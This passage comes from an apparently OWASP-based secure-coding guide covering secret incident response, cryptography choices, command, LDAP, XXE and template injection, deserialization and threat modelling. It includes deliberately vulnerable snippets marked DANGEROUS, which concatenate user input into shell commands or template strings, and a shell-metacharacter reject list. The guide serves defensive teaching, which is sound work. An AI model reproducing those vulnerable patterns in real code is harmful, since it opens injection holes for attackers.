  • Implement alerts for non-standard pipeline manipulation

11.5 Incident Response for Exposed Secrets

When a secret is exposed (committed to git, leaked in logs, found in a breach):

  1. Revoke immediately. Don't analyze first. Revoke, then investigate.
  2. Rotate. Generate new secret, deploy to all consumers via automation.
  3. Remove from source. Delete from the compromised system.
  4. Clean git history if committed (but note: rewriting history breaks commit references).
  5. Audit access logs. Determine if the secret was used maliciously.
  6. Post-mortem. Understand how it happened. Implement prevention (pre-commit hooks, secret scanning).

11.6 Detection and Prevention Tools

  • Pre-commit hooks: git-secrets, truffleHog, detect-secrets
  • CI scanning: GitHub secret scanning, GitLab secret detection, gitleaks
  • Runtime: Vault audit logs, CloudTrail, Azure Activity Logs

12. Cryptographic Storage

12.1 Algorithm Selection

Use Case Algorithm Key Size
Symmetric encryption (data at rest) AES-GCM or AES-CCM 256-bit (128-bit minimum)
Asymmetric encryption Curve25519 (ECC) or RSA-OAEP Curve25519: 256-bit / RSA: 2048-bit minimum
Password hashing Argon2id See Section 2.2
Message authentication HMAC-SHA-256 256-bit
Digital signatures Ed25519 or RSA-PSS Ed25519: 256-bit / RSA: 2048-bit

12.2 Cipher Mode Selection

Use authenticated encryption modes (GCM, CCM) as first preference. These provide both confidentiality and integrity in a single operation.

If authenticated modes are unavailable, use CTR or CBC with Encrypt-then-MAC. Never use ECB mode (identical plaintext blocks produce identical ciphertext blocks).

12.3 Random Number Generation

Use the cryptographic random source for your language:

Language Secure Function Insecure (Never Use)
Java SecureRandom Random, Math.random()
Python secrets.token_bytes() random.random()
Node.js crypto.randomBytes() Math.random()
PHP random_bytes() rand(), mt_rand()
C# RandomNumberGenerator Random
Go crypto/rand math/rand
Rust rand::rngs::OsRng --

12.4 Key Management Rules

  • Generate keys using CSPRNG; never from keyboard mashing or common phrases
  • Store keys separately from encrypted data
  • Encrypt keys with Key Encryption Keys (KEK)
  • Use HSMs, key vaults, or secrets managers for key storage
  • Never hardcode keys in source code
  • Rotate keys on: suspected compromise, defined cryptoperiod, or after encrypting ~34GB with 64-bit block ciphers
  • Establish rotation procedures before you need them

13. Injection Prevention Beyond SQL

13.1 OS Command Injection

Best defense: don't invoke OS commands. Use library functions instead of shelling out.

When OS commands are unavoidable, pass arguments as separate array elements:

// DANGEROUS: single string with user input
Runtime.getRuntime().exec("convert " + userFilename + " output.png");

// SAFE: parameterized command array
ProcessBuilder pb = new ProcessBuilder("convert", validatedFilename, "output.png");
pb.directory(new File("/app/uploads"));
Process p = pb.start();
# DANGEROUS
os.system(f"convert {user_filename} output.png")

# SAFE
subprocess.run(["convert", validated_filename, "output.png"],
               check=True, shell=False)

Never set shell=True (Python) or use Runtime.exec(String) with concatenated input.

Allowlist-validate commands and arguments. Reject shell metacharacters: & | ; $ > < \ ! \ ' " ( ) { } [ ] ~ #`

13.2 LDAP Injection

LDAP has two distinct escaping contexts:

  • Distinguished Name (DN) escaping: Escape \ # + < > , ; " = and surrounding spaces
  • Search filter escaping: Encode * ( ) \ NUL as hex (e.g., * becomes \2a)

Use your framework's LDAP escaping functions. Never concatenate user input into LDAP queries.

13.3 XML External Entity (XXE) Prevention

Disable external entity processing in every XML parser:

// Java
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
# Python (defusedxml)
import defusedxml.ElementTree as ET
tree = ET.parse(source)  # Safe by default

13.4 Template Injection (SSTI)

Never pass user input as a template string:

# DANGEROUS: user input becomes template
render_template_string(user_input)

# SAFE: user input is a variable within a fixed template
render_template("page.html", user_data=user_input)

14. Deserialization Safety

14.1 The Core Rule

Never deserialize untrusted data using native serialization formats. Use JSON or XML with strict schema validation instead.

14.2 Language-Specific Guidance

Java:

  • Override ObjectInputStream.resolveClass() to restrict allowed classes
  • Mark sensitive fields as transient
  • Unsafe: XMLDecoder, fastjson < v1.2.68, XStream < v1.4.17
  • Safe: jackson-databind (without polymorphism), XStream v1.4.17+ with allowlists, fastjson2 (autotype disabled)

Python:

  • Never use pickle.load()/pickle.loads() with untrusted input
  • Use yaml.safe_load() instead of yaml.load()
  • Avoid jsonpickle with untrusted data
  • Detection: Base64 starting with gASV indicates pickle

PHP:

  • Replace unserialize() with json_decode()/json_encode() for untrusted data

.NET:

  • Never use BinaryFormatter (Microsoft states it cannot be secured)
  • Set TypeNameHandling = TypeNameHandling.None in JSON.NET
  • Never use JavaScriptTypeResolver with JavaScriptSerializer
  • Implement allowlists via custom SerializationBinder

14.3 Universal Defenses

  1. Use data-only formats (JSON) instead of object serialization
  2. Sign serialized data and verify before deserializing
  3. Enforce strict type allowlists
  4. Monitor deserialization-related CVEs for your stack

15. Secure Product Design Principles

15.1 Core Principles

Least Privilege: Every user, process, and service gets the minimum access needed. No more. Review periodically. Revoke proactively.

Defense in Depth: Multiple independent security layers. When one fails, others hold. This applies at every level: network, application, data, physical.

Zero Trust: No implicit trust based on network location. Every request is authenticated and authorized. Continuous verification, not perimeter-based trust.

Secure by Default: The default configuration should be the secure configuration. Users must opt in to less-secure options, not opt out of security.

Fail Closed: When a security control fails, deny access. Never fail to an open/permissive state.

15.2 Threat Modeling

Before writing code, answer these questions:

  1. What are we building? (Data flow diagram with trust boundaries)
  2. What can go wrong? (STRIDE per element, attack trees, abuse cases)
  3. What are we doing about it? (Mitigations mapped to threats)
  4. Did we do a good enough job? (Review, test, verify)

Use STRIDE for systematic threat identification:

Category Question
Spoofing Can an attacker impersonate a user or component?
Tampering Can data be modified in transit or at rest?
Repudiation Can actions be denied without evidence?
Information Disclosure Can data leak to unauthorized parties?
Denial of Service Can availability be disrupted?
Elevation of Privilege Can an attacker gain unauthorized access levels?

15.3 The Five Focus Areas

Context: Understand what data the application processes, its risk profile, and where it fits in the organizational ecosystem.

Components: Select libraries and external services through security evaluation. Maintain an SBOM. Assess licensing, maintenance status, and vulnerability history.

Connections: Map every data flow. Know what data moves where, how it's stored, who accesses it. Enforce isolation between tiers and tenants.

Code: Input validation, output encoding, authentication, authorization, cryptography, least-privilege execution, secure memory handling, no hardcoded secrets, security testing, code audits, current patches.

Configuration: Least-privilege permissions, defense-in-depth controls, secure defaults, encryption for data at rest and in transit, secure failure states, HTTPS everywhere, regular updates, incident response plans.


Quick Reference: The 15-Second Security Review

Before merging any code, ask these questions:

Question If the answer is yes, you have a bug
Does this use string concatenation to build a query? SQL/NoSQL/LDAP injection
Does this use innerHTML, dangerouslySetInnerHTML, or v-html? XSS
Does this use eval(), new Function(), or setTimeout(string)? Code injection
Does this accept a file without validating type, size, and name? Arbitrary file upload
Does this construct a file path from user input? Path traversal
Does this expose stack traces, SQL errors, or internal paths to users? Information disclosure
Does this check authorization on the client but not the server? Broken access control
Does this log passwords, tokens, or session IDs? Credential exposure
Does this hardcode an API key, password, or secret? Secret leakage
Does this use pickle.load, unserialize, or BinaryFormatter on untrusted data? Deserialization RCE
Does this shell out with user-controlled arguments? Command injection
Does this use Math.random() or rand() for security purposes? Weak randomness
Does this accept XML without disabling external entities? XXE
Does this process a user-supplied template string? SSTI

Sources

  • OWASP Cheat Sheet Series -- 110+ security cheat sheets covering the topics above and more
  • OWASP Secure Product Design
  • OWASP Input Validation
  • OWASP Authentication
  • OWASP Authorization
  • OWASP Session Management
  • OWASP HTTP Headers
  • OWASP Content Security Policy
  • OWASP REST Security
  • OWASP File Upload
  • OWASP Third Party JavaScript
  • OWASP XSS Prevention
  • OWASP DOM XSS Prevention
  • OWASP SQL Injection Prevention
  • OWASP CSRF Prevention
  • OWASP Password Storage
  • OWASP Secrets Management
  • OWASP Error Handling
  • OWASP Logging
  • OWASP Cryptographic Storage
  • OWASP Injection Prevention
  • OWASP Deserialization
  • OWASP Query Parameterization
  • OWASP Prototype Pollution Prevention
  • OWASP Pinning
  • OWASP CSS Security
  • OWASP AJAX Security
  • OWASP Bean Validation
  • Shieldfy API Security Checklist
PreviousSecure Coding
NextEncoding & Manipulation

On this page

  • Table of Contents
  • 1. Handling User Input Safely
  • 1.1 The Two Levels of Validation
  • 1.2 Allowlist Over Denylist -- No Exceptions
  • 1.3 Validation by Data Type
  • 1.4 Client-Side vs. Server-Side
  • 1.5 Output Encoding by Context
  • 1.6 SQL Injection Prevention
  • 1.7 XSS Prevention
  • 1.8 DOM-Based XSS
  • 1.9 Prototype Pollution (JavaScript)
  • 1.10 CSRF Prevention
  • 2. Authentication Implementation
  • 2.1 Password Policies
  • 2.2 Password Storage
  • 2.3 Authentication Error Messages
  • 2.4 Multi-Factor Authentication
  • 2.5 Login Throttling
  • 2.6 Reauthentication Triggers
  • 2.7 Transport Security
  • 3. Authorization Patterns
  • 3.1 Access Control Models
  • 3.2 Enforcement Rules
  • 3.3 Common Authorization Vulnerabilities
  • 3.4 The /me Pattern
  • 4. Session Management
  • 4.1 Session ID Properties
  • 4.2 Cookie Security Attributes
  • 4.3 Session Lifecycle
  • 4.4 Session Attack Prevention
  • 5. Security Headers Complete Reference
  • 5.1 Required Headers
  • 5.2 Headers to Remove
  • 5.3 Content Security Policy
  • 5.4 Implementation Examples
  • 6. API Security
  • 6.1 Authentication and Access
  • 6.2 Input Handling
  • 6.3 Output Handling
  • 6.4 REST-Specific Concerns
  • 6.5 GraphQL-Specific Concerns
  • 6.6 CORS Configuration
  • 6.7 API Security Checklist
  • 7. File Handling
  • 7.1 File Upload Security
  • 7.2 File Download Security
  • 8. Third-Party Dependencies
  • 8.1 JavaScript Supply Chain Risks
  • 8.2 Defense Strategies (Priority Order)
  • 8.3 Dependency Management
  • 8.4 CSS Security
  • 9. Client-Side Security
  • 9.1 Content Security Policy (CSP)
  • 9.2 Subresource Integrity (SRI)
  • 9.3 CORS (Cross-Origin Resource Sharing)
  • 9.4 AJAX Security
  • 9.5 Clickjacking Prevention
  • 10. Error Handling and Logging
  • 10.1 Error Handling Rules
  • 10.2 HTTP Status Codes
  • 10.3 Secure Logging
  • 10.4 Log Injection Prevention
  • 10.5 Log Infrastructure
  • 11. Secrets Management in Code
  • 11.1 The Rules
  • 11.2 Where Secrets Belong
  • 11.3 Secret Lifecycle
  • 11.4 CI/CD Pipeline Security
  • 11.5 Incident Response for Exposed Secrets
  • 11.6 Detection and Prevention Tools
  • 12. Cryptographic Storage
  • 12.1 Algorithm Selection
  • 12.2 Cipher Mode Selection
  • 12.3 Random Number Generation
  • 12.4 Key Management Rules
  • 13. Injection Prevention Beyond SQL
  • 13.1 OS Command Injection
  • 13.2 LDAP Injection
  • 13.3 XML External Entity (XXE) Prevention
  • 13.4 Template Injection (SSTI)
  • 14. Deserialization Safety
  • 14.1 The Core Rule
  • 14.2 Language-Specific Guidance
  • 14.3 Universal Defenses
  • 15. Secure Product Design Principles
  • 15.1 Core Principles
  • 15.2 Threat Modeling
  • 15.3 The Five Focus Areas
  • Quick Reference: The 15-Second Security Review
  • Sources